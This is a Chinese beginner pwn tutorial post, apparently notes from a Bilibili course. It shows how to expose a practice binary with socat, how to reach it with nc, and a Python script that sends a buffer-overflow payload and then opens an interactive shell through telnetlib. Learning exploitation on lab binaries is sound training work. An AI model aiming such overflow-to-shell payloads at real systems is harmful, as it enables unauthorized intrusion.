当前位置: 首页 > article >正文

【pwn入门】使用python打二进制

声明

本文是B站你想有多PWN学习的笔记,包含一些视频外的扩展知识。

程序网络交互初体验

将程序部署成可以远程访问的

socat tcp-l:8877,fork exec:./question_1_plus_x64,reuseaddr

在这里插入图片描述

通过网络访问程序

nc 127.0.0.1 8877

在这里插入图片描述

攻击脚本

import socket
import telnetlib


def pwn():
    # 创建一个TCP socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 连接服务器127.0.0.1的8877
    s.connect(("192.168.44.138", 8877))
    payload = 'A' * 0x8 + '\x10\n'  # 构造payload
    s.sendall(payload.encode(encoding='utf_8', errors='strict'))  # python3这里需要编码
    # 创建一个telnet来产生一个控制服务器的shell
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()


if __name__ == "__main__":
    # socat tcp-l:8888,fork exec:./question_1_plus_x64,reuseaddr
    pwn()

在这里插入图片描述


http://www.kler.cn/a/106467.html

相关文章:

  • C函数如何返回参数lua使用
  • ubuntu16.04配置网卡
  • DB-GPT系列(四):DB-GPT六大基础应用场景part1
  • 七:如何用Chrome的Network面板分析HTTP报文
  • AI大模型(二):AI编程实践
  • 使用python-Spark使用的场景案例具体代码分析
  • LVS集群-NAT模式
  • python实现PDF表格与文本分别导出EXCEL
  • HarmonyOS SDK,赋能开发者实现更具象、个性化开发诉求
  • 31一维信号滤波(限幅滤波、中值滤波、均值滤波、递推平均滤波),MATLAB程序已调通,可直接运行。
  • spring.factories介绍
  • 用python做一个压缩图片的小程序
  • ReentranLock超详细讲解
  • 俄罗斯黑客利用Roundcube零日漏洞窃取政府电子邮件
  • Makefile 基础教程:从零开始学习
  • Kubernetes - 一键安装部署 K8S(附:Kubernetes Dashboard)
  • node(三)express框架
  • Python解读市场趋势:LSTM 和 GRU 在预测 Google 股价方面的探索
  • 计算机网络之数据链路层(全)
  • 机器学习——正则化
  • python---设计模式(单例模式和工厂模式)
  • HCL模拟器选路实验案例
  • Linux系统之file命令的基本使用
  • 在3分钟内使用AI-Chat生成精美PPT(附AI工具)
  • 10个Golang 数据库最佳实践
  • Android 13.0 SystemUI状态栏屏蔽掉通知栏不显示通知